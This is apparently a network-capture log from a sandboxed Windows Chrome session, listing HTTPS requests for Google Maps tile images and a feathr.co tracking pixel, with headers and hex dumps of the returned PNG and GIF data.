2024-04-23 14:54:22 UTC	1324	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18863!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=42968 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	628	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:22 GMT Cache-Control: public, max-age=900 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 05ffc42c87a806da8 Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 4741 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=119 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	627	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 36 50 4c 54 45 f1 f3 f4 fb fb fb f8 f8 fb ed ed f1 e1 e1 e5 b9 b9 bd e9 e9 ed d9 dd e1 95 99 9d a5 a9 ad 81 85 89 71 75 79 c9 cd cd ff ff ff 79 7d 81 c5 d9 f8 b1 cd f8 9d c1 f8 2b 9e 87 dd 00 00 11 f5 49 44 41 54 78 da ed fd 8b 7a 23 2d 8e 05 00 70 e7 5e 76 de ff 65 e7 08 ca 89 d3 7f 1c d7 05 aa a8 cd 9e d9 9d e9 af d3 4e 22 21 09 71 90 04 fb 06 c5 72 ce 46 b1 b6 e0 40 e6 c1 f9 5c d0 e6 fb 9b 8f fb ab 2f 29 43 3f 86 59 c9 56 a3 7c 54 58 d6 14 9c 69 e7 92 72 d1 0b 7c 77 de 48 bf af 15 20 15 2f 52 6c 90 9f 49 4b ba db f4 d1 97 e0 2c 04 ed a2 d6 13 2c 80 4b db c8 be 6e 2f 15 60 8a 01 28 c3 Data Ascii: PNGIHDRkXTpHYs6PLTEquyy}+IDATxz#-p^veN"!qrF@\/)C?YV\|TXir\|wH /RlIK,,Kn/`(
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 7d d4 d8 f5 53 88 49 69 d8 89 9d fa 28 40 fd ea 00 6c a7 09 cc c9 e0 ab 2f 4b a3 2c 6d 75 99 36 76 1f a4 a5 b5 2f a9 ae 0b 42 e0 2f 3d f2 3d 44 52 44 08 ae 3d ef a2 80 db af 0e 40 d8 63 02 f2 65 32 08 d9 95 55 46 8a f2 cd b1 ec 59 49 3a e7 e1 8f 5c 24 a9 23 2b 99 4f 09 10 14 1f db c7 fe 19 f7 37 06 b0 d3 04 8a 0f c8 7f 7d 80 56 9e 76 b4 3c c3 87 72 be 71 16 11 0f b1 ce 56 ef c7 d7 11 18 58 67 bc 89 00 84 3d 26 f0 43 32 28 95 b5 e6 4b 78 52 10 32 1d 9e 2d 16 3d 84 ac a6 48 01 40 3e 96 be 33 e4 c7 c7 fb 7f b3 c3 04 fe 65 45 4c 91 3e 7f 87 87 c3 73 a8 21 84 10 15 42 06 3f 48 78 82 5a a0 80 5d 26 50 59 91 ea 03 64 f8 46 3c 8b 8e 23 3e be 34 39 ed 42 cc 4a a7 9a 14 1c 25 3c e1 7d 0c 64 fb 4c a0 26 83 ea bf d2 f3 62 0d 08 83 70 f9 e0 74 92 25 e2 89 03 65 2f 78 Data Ascii: }SIi(@l/K,mu6v/B/==DRD=@ce2UFYI:\$#+O7}Vv<rqVXg=&C2(KxR2-=H@>3eEL>s!B?HxZ]&PYdF<#>49BJ%<}dL&bpt%e/x
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 72 a9 6d 43 2d 7e 3e 10 fd 20 f7 fd 8e bf 42 83 ad ba dd 9f b4 f0 5f 1c e7 fc 33 30 d5 8f 46 3e 50 fb c8 96 8f 7f 23 87 5f cb fd fd 43 cf 5a f8 01 87 59 7f 81 c8 4c a3 fe 1b 6d 64 db 7a 7e 1f 3e 20 bf c9 f4 a3 dc df 41 5a f8 09 c7 8a cf 66 5e 18 a3 6e 36 8e f4 aa 3e 60 ef 4b e5 1e 0e bc de 90 c7 ad b3 9d 54 f5 01 b2 dc 6b 09 fe 00 8a 44 bc 4e 16 23 ee 16 2b c0 14 db 7d 58 7b 25 c6 2e 2a 3d a3 22 11 57 e6 3a 2e 1b ea f6 43 f8 b2 23 55 cf 6f c0 e3 3c fc fe 5f ca db ed 11 e2 ca fe 35 ff f5 28 95 c3 3b 50 c6 ed be 69 86 37 f7 2f e1 bf 7f 45 8e 53 3d bf 15 4a bc 57 40 91 ff f6 e3 e1 f4 e7 f9 4a 57 c2 12 05 98 db 4b 09 cd b0 2d f5 4b a1 f6 15 7b 0c db 52 bf 18 6a d7 bc dd 71 5b ea 17 c3 ec 54 80 ba ba 0f 98 9d bd a0 b3 0f 8c d6 52 bf 1c 35 8a ed 30 e1 31 5b ea Data Ascii: rmC-~> B_30F>P#_CZYLmdz~> AZf^n6>`KTkDN#+}X{%.*="W:.C#Uo<_5(;Pi7/ES=JW@JWK-K{Rjq[TR501[
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: c2 e4 06 3e 0a 55 f9 73 27 f9 c9 05 70 18 04 ed 3f aa 02 ea 55 78 bf 61 47 95 0e 41 8e 3d a8 0b 98 c2 01 74 1c f6 84 b3 80 a5 eb 7e 3b a6 02 2a 07 82 cb 5a d6 0b 98 ce 1b bd df 3a a1 bc 37 e6 04 90 75 bc 80 16 e5 32 d0 e7 21 83 e0 01 f2 63 e1 35 1e b0 8e ce 8c 68 01 95 02 e9 93 00 3d c0 2d d5 bd 8c 19 03 7a 26 80 9f c0 8d 7f d9 05 06 74 81 2a 3f ef 2b 3f 9e b0 4e c1 a9 34 1a 25 5a ef a9 3b 26 80 9f 10 7c 42 1e 94 06 4b 85 11 99 b9 cd 47 c8 0f 05 44 93 a7 ec f4 58 0a 40 41 92 eb 9b 00 3d 80 e7 6b 35 0a a1 42 1a 48 01 54 9b 81 8d 49 1c d2 d6 0e 0b 28 cf 54 b0 71 62 00 ec 5f 27 9f 26 27 8f 28 42 42 7d 30 b1 a2 99 0f d3 3a 89 e7 73 a6 30 81 a5 9a a6 e4 0e 88 cd e0 02 29 dd 1e a6 71 4e d0 03 4a e5 88 26 42 3c e6 c6 76 ac ce 41 6c 4b e5 09 2d 85 20 a8 8e b8 af Data Ascii: >Us'p?UxaGA=t~;Z:7u2!c5h=-z&t?+?N4%Z;&\|BKGDX@A=k5BHTI(Tqb_'&'(BB}0:s0)qNJ&B<vAlK-
2024-04-23 14:54:22 UTC	349	IN	Data Raw: e0 94 00 16 cf ef 32 fb a9 3f 90 12 eb 7a 78 2b 57 57 94 c6 27 e1 68 a8 70 f1 04 08 4f 7a 20 0b 87 c9 ff 0b 4e 8b ff 90 f8 92 26 f0 b8 b6 62 54 45 5e 15 80 33 52 ae 53 95 7f 05 c6 2c cf ee f0 89 8b 9a 40 29 d4 40 02 67 78 6d 5d 22 47 a8 aa 78 05 c1 8a 3b a8 7f a7 2c 5f d4 04 1e 23 73 d1 50 84 96 2a 2b 69 f5 5f 29 00 f3 f7 6b 28 f8 79 c2 f4 45 4d 60 06 6a f7 a9 82 d0 d2 b8 61 cc 59 51 14 03 4b fc 13 a5 cd 46 50 d2 f7 c3 b2 3f a3 cf 08 b8 c3 50 5c 81 c6 57 70 f4 56 d1 24 75 ec 7a 88 fd 25 04 da d7 cb fe 8c 6b 9b 00 9b 9f 99 d8 41 e5 3c c6 40 b2 3f 8b 3a 05 ed c2 26 b0 1b ff 6f 02 d5 04 24 bf c2 e0 da 2e a8 d3 80 91 5e 8d 3f b7 b5 0f aa 09 80 66 f8 ab 0a 20 13 b0 68 48 50 7f d6 07 0c 9d 27 ed c0 b7 22 dd 21 ca 51 ca e0 a1 a6 3f ea 04 a0 9b 15 a8 56 d4 48 fc Data Ascii: 2?zx+WW'hpOz N&bTE^3RS,@)@gxm]"Gx;,_#sP*+i_)k(yEM`jaYQKFP?P\WpV$uz%kA<@?:&o$.^?f hHP'"!Q?VH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.6	50064	74.125.136.99	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	1323	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18863!3i24909!4i256!2m3!1e0!2sm!3i690434793!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=4792 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	628	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:22 GMT Cache-Control: public, max-age=900 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 040570bf838b72ad4 Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 8361 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=136 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	627	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 87 50 4c 54 45 f1 f3 f4 fb fc fc f4 f6 f6 ff ff ff e8 ea ed f8 f9 fa ed ee f0 dc de e2 f6 f8 f8 e2 e3 e6 94 98 9c ba bb bd 70 75 7a 79 7e 83 86 89 8c a6 aa ad ca cc ce af b2 b5 c0 d7 fb d3 e5 fb d3 d5 d6 8a be 9a 5a 5d 61 4e 52 56 ac ca f9 c3 dd cb 9c c0 f9 ce ea d6 51 9f 69 27 88 45 6e af 82 65 68 6c 35 90 51 48 75 85 a7 ce b3 6f a7 f0 8b b8 f2 18 80 38 1a 73 e8 43 98 5d 48 89 f5 98 c6 a7 74 96 a3 54 91 f5 34 a8 53 e1 ad 68 0a 00 00 1f c8 49 44 41 54 78 da ed fd 07 77 ea 4a af 05 00 4c 75 77 a1 d3 29 e9 39 df ff ff 7d 6f 6b c6 06 03 26 80 b1 09 79 77 69 ad 7b 49 82 e1 78 b6 d5 47 23 b1 Data Ascii: PNGIHDRkXTpHYsPLTEpuzy~Z]aNRVQi'Enehl5QHuo8sC]HtT4ShIDATxwJLuw)9}ok&ywi{IxG#
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: e9 86 a1 2f b9 6a 4f cc 45 47 10 06 fe f3 61 20 38 89 b9 21 d1 62 66 b8 33 4a 12 99 63 f0 5c ea 40 f0 20 ca c9 6d 11 80 68 95 06 d9 28 eb 93 8a 81 98 51 42 fe 49 48 50 18 18 67 ae 1b c6 6d 72 c0 28 94 32 18 8d 56 b9 81 e1 9a 3f 0d 02 9e c7 8d 19 d4 91 df 26 00 60 ff 61 20 85 bb 1a ad 32 29 dd 44 69 7d 5d fc fd 00 82 19 0c 7d 27 8c 9c 16 01 48 a4 0c 47 ae 14 c3 44 a4 43 91 46 43 80 90 71 e7 39 54 a2 36 19 01 24 45 5a 7c 22 78 ea 09 f8 ac 33 8a 43 31 ea 67 a3 51 10 26 ab a7 31 0b 9e 44 30 84 78 b0 c5 dc 9d e6 6c d4 91 32 8d c2 68 34 52 fd 11 f6 a2 46 2b 52 89 cf 80 81 a7 9d bb f3 c2 97 c8 d3 dc f7 c1 01 43 21 55 28 83 15 49 44 a7 2f 8c 59 e0 ce 2f 9b 46 ce 62 63 06 fd 56 77 88 e1 70 39 82 c7 c3 38 36 ea d0 48 44 b4 8a 56 26 02 81 69 d4 fc d7 94 22 cf 12 19 Data Ascii: /jOEGa 8!bf3Jc\@ mh(QBIHPgmr(2V?&`a 2)Di}]}'HGDCFCq9T6$EZ\|"x3C1gQ&1D0xl2h4RF+RC!U(ID/Y/FbcVwp986HDV&i"
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: ee c8 0c fb c1 0f 04 60 cc da a6 eb 20 e0 d8 55 c1 65 7e 94 f1 87 a6 c2 a7 d3 07 d4 7d 39 97 33 26 54 0f 01 ff 27 c5 76 a8 ff d0 ad 80 e9 b4 55 35 58 d0 c5 a4 91 c7 d3 28 0e c3 4e 90 a0 28 ea 91 3e e0 74 3a 65 0f a1 2a 08 4a e9 02 a8 80 7e 60 32 e1 fc b1 51 10 00 68 5b 0d 16 74 21 69 84 37 fb 49 14 a8 07 6f 07 03 80 71 f7 81 10 c8 73 10 98 0a 13 19 c6 8f ee 1e 37 35 34 ee 3e e8 68 cc f9 bc 99 6b 1c 67 2d fc 5f 00 a0 6b fe d7 7b 0c 06 67 92 46 96 01 94 f3 f0 dd 60 5a 3b 73 ba e3 9c 11 ba bd f6 c5 a1 32 63 62 2a 6c bc 5f d8 0c a5 65 d3 6b af 3b dd 11 e1 d0 2a 3b 54 41 40 ff fb 8d 73 7a 05 00 44 bd 5e 37 67 05 12 89 96 21 a8 e8 0b c2 7e 63 37 bc 0c 80 25 87 70 68 1f 82 8a 74 01 fb 8d d6 66 a7 00 18 72 08 82 71 bb fa e0 14 02 ef 17 ce 69 4e cf f9 c2 bf 02 01 Data Ascii: ` Ue~}93&T'vU5X(N(>t:eJ~`2Qh[t!i7Ioqs754>hkg-_k{gF`Z;s2cbl_ek;*;TA@szD^7g!~c7%phtfrqiN
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 60 dc a5 41 94 d2 83 37 03 80 9a 97 85 60 3d 57 39 91 ac a0 7d 4d 30 0c 73 7b c8 1e 43 d6 b7 33 2c 60 d5 9c 97 73 04 59 75 1b f2 99 47 4e bd 16 3d 13 00 12 00 5f 64 ff 26 6f 6f dc 73 48 24 ba 5d c7 9c 2a e7 74 d2 96 1c 00 61 bf 4c 5b d9 c6 c9 58 30 54 01 80 7b 00 80 ab 76 c4 3b d4 b1 24 b4 cd bc 1e 96 2e 34 00 d8 5c cf 76 b0 65 79 2c 27 27 83 b7 e5 04 ce e9 60 e0 93 97 33 fb 9a 50 80 e7 0f 18 85 b9 f3 e5 9a c0 59 ae c9 1b c2 25 33 8c 8d 1c b8 08 13 c9 36 7c d9 88 d9 7e d9 16 fe f2 16 47 a2 c0 ff db 02 80 5d 3c 40 02 30 d9 af df e1 d9 30 10 7b 7b c0 1e d3 fb b9 e0 00 13 bc cd 3f 8a 58 ce 02 b0 7d 5b 2e 61 ca e5 db e2 63 6b dc 9b b5 89 f3 11 f4 4d 28 d0 19 bc 71 8a 0a f1 1b 3c c3 c5 7c 66 03 24 00 50 7c 19 9f 9b 00 51 73 7c db 7c 51 00 50 38 03 14 0a ab 12 Data Ascii: `A7`=W9}M0s{C3,`sYuGN=_d&oosH$]*taL[X0T{v;$.4\vey,''`3PY%36\|~G]<@00{{?X}[.ackM(q<\|f$P\|Qs\|\|QP8
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: b5 8c 7b 94 21 26 73 c6 a6 e1 b7 8c 47 88 90 6f 8e 0f 1f 33 b2 19 c7 82 03 34 49 8e 33 7d 66 99 77 c8 01 6d 3a 91 16 40 a7 77 93 28 ba 31 4d c2 1f 12 4b 19 23 08 55 2d d9 b9 65 dc a1 0c 21 60 98 7e d2 17 c3 0c 33 40 d4 ad 62 20 c5 03 10 e0 3c 84 9d a2 91 51 3f ac a3 be 1c 20 3e c4 60 34 37 1c aa 40 98 4e 84 d8 47 b8 fa 08 3e 9a 44 b7 2e 04 e8 8f 13 a3 31 42 e2 c9 1f f3 00 f5 95 21 4e 1c f3 55 47 a2 fd 94 1c 9a 29 10 ac c3 af 1d 90 e7 c8 f6 85 00 ad e2 a1 01 fd b8 c3 2f 2c a4 be 1c 38 98 01 12 23 3c ca 30 2b 2f 35 2f 82 c9 ab 5c 43 54 a1 78 6d 23 c0 05 01 20 83 8e 76 2e 2d c4 c8 81 aa 41 a8 4a 4b 3b 64 68 91 31 4d 5d 78 5c 98 9c 7a 15 13 cc 50 84 d2 b6 2d a4 fe 28 69 d8 c7 bc 10 ef 22 02 b5 e5 80 99 99 1c ab 60 85 81 f5 e8 7b 4f bd ff 83 6b 86 53 cc 28 49 Data Ascii: {!&sGo34I3}fwm:@w(1MK#U-e!`~3@b <Q? >`47@NG>D.1B!NUG)/,8#<0+/5/\CTxm# v.-AJK;dh1M]x\zP-(i"`{OkS(I
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 28 e8 fa 89 a9 90 d3 67 76 c7 8d 1a 38 15 00 97 10 e9 d6 cf 8f 5e a4 63 4f b0 1d 21 c0 ce 60 94 93 7f 6e 7b 9c 6c e1 cb f1 1f 5d df 27 08 c6 f7 65 46 7e 26 bf 0a 80 86 85 80 74 80 ef ba 34 4c fe 2c 00 60 81 13 06 f0 5d 9a cc e0 fa bd 16 59 00 de 51 15 00 0d 0b 81 c0 a9 a1 fc b8 b4 a3 ce ec 8e fe 2b 72 81 7b 72 cd 2d 28 d7 6d 95 05 2a 01 a0 24 71 d3 85 23 b6 50 1e dc 50 cd 04 af c7 3e a0 da 4d e3 51 6e b7 25 35 48 54 0d 00 25 89 1b 76 87 6c 37 0c 9e f5 79 75 9d d8 89 0f b4 2f 75 72 8c 2a 68 89 ce 00 e0 37 5e 38 42 a7 c5 7c 54 8b 06 9c 5d 77 67 6e 29 73 d7 22 04 67 00 68 5c 08 10 0a 67 88 08 d2 3e e7 ce 95 b7 86 45 ef 99 50 b5 05 c1 39 00 9a 16 02 ec 0f a2 54 d2 43 3e d2 b9 fe e6 7c b7 f4 0c a0 0d 55 0b 74 16 80 86 85 80 3b 91 c9 45 e0 94 db 0d 77 e7 97 e5 Data Ascii: (gv8^cO!`n{l]'eF~&t4L,`]YQ+r{r-(m$q#PP>MQn%5HT%vl7yu/urh7^8B\|T]wgn)s"gh\g>EP9TC>\|Ut;Ew
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 1d 65 2a 13 85 17 7e 7f a7 0a 47 d8 d0 d4 cd f1 85 36 bf b2 7a e4 1c 0a 01 00 78 e5 bd d7 f7 31 0d 8f e1 bb d1 ea bc 34 8b 9d f1 de fb 6b 0f d7 28 d9 63 3c 67 19 69 f9 46 e4 00 1c 77 52 d8 65 8a 7c 5c 2f 2a 00 b8 e6 24 89 67 27 5a 12 02 14 16 d9 e1 80 9a 02 3b af b6 0e 60 c7 42 60 00 e0 7c fa 49 fd 93 c7 af 3d 9a 51 38 7e 1d 53 3b e5 de 2b fd 4a 00 8c df 69 b5 58 d6 2b c9 c0 f4 b5 37 ee ca 71 b7 fb 3a 26 89 a8 ec a4 b0 cb 14 31 8d f6 0b 27 e7 0c 7a 37 1f a5 71 94 7f 90 37 f4 eb 0f 6b 3a 14 02 03 00 fa 14 bd 77 65 ef fd 05 9c 20 e5 cb 27 5a c4 09 39 7e 7f 79 01 63 d0 6c ea 1e 5e e9 a9 4b 5c c5 de 3f 5f 3f 3f 5f e5 bf f7 7f af ef 2f 60 11 a7 a2 93 82 b3 4f 98 fa 71 d0 04 00 20 c4 07 86 21 69 0a 90 73 90 41 bb 15 81 b2 10 58 00 3c 8e a5 a1 1d 00 1f 7f ca ee Data Ascii: e~G6zx14k(c<giFwRe\|\/$g'Z;`B`\|I=Q8~S;+JiX+7q:&1'z7q7k:we 'Z9~ycl^K\?_??_/`Oq !isAX<
2024-04-23 14:54:22 UTC	204	IN	Data Raw: ed 69 92 da 42 50 b6 80 97 89 3a f5 47 4e 10 7a 91 6a 18 80 7d 89 92 88 a3 10 61 fc ad 4c 40 42 50 07 01 94 e1 df 34 1d 0d 67 f0 11 17 f9 98 25 84 8c 43 93 00 10 13 18 6b 14 10 00 b4 73 c3 6e a3 9a 7b e6 06 80 1b 66 67 a3 33 ae db 4f 64 e8 f4 c1 3b cd 02 60 8f 74 86 51 86 ee af 2c b9 79 8e 6f cd c2 11 07 4a e7 96 d9 e1 34 ac 80 66 aa 21 49 1a 70 d5 40 db e1 d2 77 93 1a f0 a3 54 82 bd 90 7d ba 39 69 5e b3 70 84 8a ba 6f b9 1e 3b 1a e8 c7 84 5e d5 b4 55 d2 28 00 be 32 3b 30 c2 89 90 7f 0d f9 ed 43 7c d5 23 26 f7 19 8f 98 22 02 37 f1 1a e1 80 ff 03 da 4c 8c 06 e2 8d 06 9f 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: iBP:GNzj}aL@BP4g%Cksn{fg3Od;`tQ,yoJ4f!Ip@wT}9i^po;^U(2;0C\|#&"7LIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.6	50067	18.160.78.62	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	630	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:22 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:22 GMT x-amzn-RequestId: 77a9288f-1cea-4874-916b-b0ac5694868e Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:22 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: WrzAyHzMoAMEkdg= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cb9e-503838f35310e49f398fe894;Parent=02f4c5e74eecbdb6;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 152e7a3f60a566e9afafe03af71edfd0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P2 X-Amz-Cf-Id: YdgAlwC1hkCYpuM-JHRG3r5HMMGDdkQGP7Z3g0nsis1RQlSIFzcSfQ==
2024-04-23 14:54:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.6	50065	74.125.136.99	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	1324	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18860!3i24909!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=69732 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	628	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:22 GMT Cache-Control: public, max-age=900 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 0602f01c9ef628f7d Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 4083 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=117 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
